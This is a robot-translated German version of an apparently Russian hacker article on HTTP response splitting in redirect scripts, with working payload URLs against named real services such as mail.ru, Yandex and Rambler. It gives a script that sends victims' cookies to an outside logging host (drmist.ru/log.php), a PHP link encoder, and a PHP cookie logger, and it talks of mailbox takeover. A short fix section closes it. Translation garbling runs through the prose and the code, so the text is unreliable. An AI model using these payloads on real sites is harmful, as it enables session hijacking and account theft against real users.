This page has been robot translated, sorry for typos if any. Original content here.

HTTP-Aufteilung der Sicherheitsanfälligkeit

Der Artikel beschreibt die praktische Anwendung einer Sicherheitsanfälligkeit, die als HTTP-Aufteilungsanfälligkeit bekannt ist

Ein Grundkopf () unter dem Mikroskop

Wandern die weite des Internets, wir sehen oft die URL des Formulars http://anyhost.com/redirect.php?url=http://otherhost.com Der einfachgesinnte Benutzer hört nicht auf, lange zu denken, er klickt nur darauf und kümmert sich auch auf otherhost.com. Ein neugieriger Benutzer ersetzt die URL-Adresse für die Adresse seines Hampaga, und er ist auch von der Krümmung des Drehbuchs überzeugt.
Neben einfachen neugierigen Menschen im Internet sind sehr neugierige Benutzer. Sie fahren einen Link in AccessDiver auch beginnen, die Arbeit des Skripts zu lernen.

1. Das Wesen des Bugs.
2. Praktische Anwendung.
3. Ort der Prävalenz des Fehlers
4. Schutzmittel.

Für Tankmänner schlage ich vor, dass AccessDiver ein "Hakre" -Tool ist, wie es üblich ist, in einer Nation auszudrücken. Download ist auf dem Offsite- Projekt erlaubt. Zum Zeitpunkt des Schreibens dieses Textes war die neueste Version des Dienstprogramms 4.173. Das Programm ist bekannt für seine HTTP-Debuger-Funktion. Sie können es verwenden, indem Sie in den Experten-Modus und wählen Sie die entsprechende Funktion im Menü Extras (F4 dann Strg + F9 - abhängig von der Version der Tasten geändert werden könnte). Als nächstes werden wir nicht betonen, die Sorge für seine Stimmung, jeder Schüler wird mit dem Taucher zu bewältigen.

Für Experimente wählten wir mail.ru , denn dies ist der bekannteste E-Mail-Service im Runet auch der Leser wird besonders daran interessiert sein, über den Fehler auf diesem Projekt zu lernen;) Lass uns auf den Link gehen http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net Wir werden auf das ausgewählte Portal für Computersicherheit geworfen;). Wir fügen die Seite zu den Lesezeichen hinzu und kehren zur E-Mail zurück. Schreiben Sie den Link, den wir im Feld HTTP-Adresse interessiert haben, setzen Sie den Modus gleich Get, klicken Sie auf Verbinden.
Wir sehen die HTTP-Header, die vom Server zurückgegeben werden, wie im Screenshot:



Lassen Sie uns auf die unterstrichene Linie achten. Nach dem Treffen in den Headern Ort: Der Browser führt uns bedingungslos zur angegebenen URL. Deshalb können wir einen Link an den Benutzer rutschen, als ob auf einer Mail, aber es schlägt die Post sowieso nicht. All dies ist wunderbar, aber in der Praxis kann sich nichts entfremden.

Lassen Sie uns darauf achten, dass die Zeilen im Header durch zwei Zeichen 0Dh 0Ah getrennt sind . Und was, wenn ich sie am Ende des Links zuordne? Lassen Sie uns sehen, was wird der Server zum Einwand gegen die Anfrage http://go.mail.ru/urltracker?url=null%0D%0Ahacked_by:%20drmist :



Wie interessant. So können wir den Server zwingen, fast jeden Header zu geben. Ändern Sie beispielsweise benutzerdefinierte Cookies. Aber wieder ist es noch nicht so interessant wie das, was auf uns wartet. Es ist interessant, dass die Überschriften vom Körper des Aktes durch die Sequenz 0Dh 0Ah 0Dh 0Ah getrennt sind . Können wir wirklich jede Seite ausgeben? Wir geben http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <! - auch aussehen:



Alles, was gelb ist, ist der Text des Dokuments selbst. Wenn JavaScript im Browser aktiviert ist, dann sehen wir den Link mit unseren Cookies. Um XSS-Angriff zu begehen, benötigen Sie:
1) Verfassen Sie eine Seite vom Typ <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Übersetzen Sie es in die url-encode mit dem Skript:

<? Php
$ Url = "http://go.mail.ru/urltracker?url=";
$ S = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ S. = "+ Document.cookie; </ script>";
$ Res = "";
Für ($ i = 0; $ i <strlen ($ s), $ i ++)
{
$ Res. = "%";
$ T = ord ($ s [$ i]);
Wenn ($ t <16)
$ Res. = "0";
$ Res. = Dechex ($ t);
}

Echo $ url. "% 0d% 0a% 0d% 0a". $ Res;
?>

Wir bekommen:
Http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... und so weiter. (**)

3) schreibe das script log.php auch füllen sie mit drmist.ru:
<? Php
$ Fid = fopen ("../log.txt", "a");
Fits ($ fid, $ _SERVER ["QUERY_STRING"]. "\ R \ r");
Fclose ($ fid);
Header ("Ort: http://www.mail.ru");
?>

Jetzt ist es erlaubt, die magische Verbindung (**) zu verdampfen, um auch die Plätzchen des Opfers zu erwerben.
Sie dürfen viele nützliche Dinge machen, zum Beispiel um Zugang zu der Post zu bekommen, aber um diese zu einem anderen Zeitpunkt sind wir auch so vom Hauptthema abgelenkt.

Natürlich gibt es keine Notwendigkeit, auf die E-Mail zu fahren, dass dies eine Ressource ist, Scheiße, und schließlich kann nicht aus unserem Sandkasten. Alle Menschen neigen dazu, einen Fehler zu machen, aber die Admins von mail.ru sind weniger und weniger wahrscheinlich, Fehler zu machen. True Bugs bleiben noch. , Die Leute schweigen über sie in keiner Weise wegen der Gier, sondern wegen der Angst vor einer unzureichenden Reaktion der Verwaltung auf ihre Feststellung, die nach der Statistik einen Platz hat. Glücklicherweise ist die Anwesenheit von XSS immer noch nicht garantiert Zugriff auf die Mailbox. Ich bin mir sicher, dass der Fehler abgedeckt wird. Spätestens - nach 2 tagen. Anfällig nicht nur mail.ru. Ich empfehle Ihnen, dass Sie lesen:
Http://yandex.ru/redir/?url=[XSS]
Http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt waren wir überrascht über die Zeit, als ich herausfand, dass über solche Schwachstellen auf securitylab.ru vor 3 Jahren geschrieben wurden (siehe Einführung von CRLF in PHP-Funktions-Header () vom 10.09.2002), aber wegen der praktischen Verwendung des Bugs haben wir nicht Ich habe es noch nie gehört, ich fand das Thema relevant. Durch diese blah blah, ist es zulässig, Bugs in Yandex zu nennen, und auch mail.

Korrigieren Sie den Fehler ist nicht schwer. Lassen Sie das verwundbare Skript essen:

<
Wenn (; Isset ($ url))
$ Url = "http://www.mail.ru";

Header ("Location: $ url");

?>

Wir machen ihn unverwundbar:

Header ("Location:" .urlencode ($ url));

Wenn eine Umleitung nur innerhalb der Website geplant ist, dann ist es am besten, dies zu tun:

Header ("Ort: http://www.mail.ru/".urlencode($url));

Das ist wohl alles, was wir sagen wollten. Lassen Sie mich als nächstes noch ein paar weitere XSS:

Http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
Http://www.pochta.ru/?lng=en "<h1> XSS </ h1>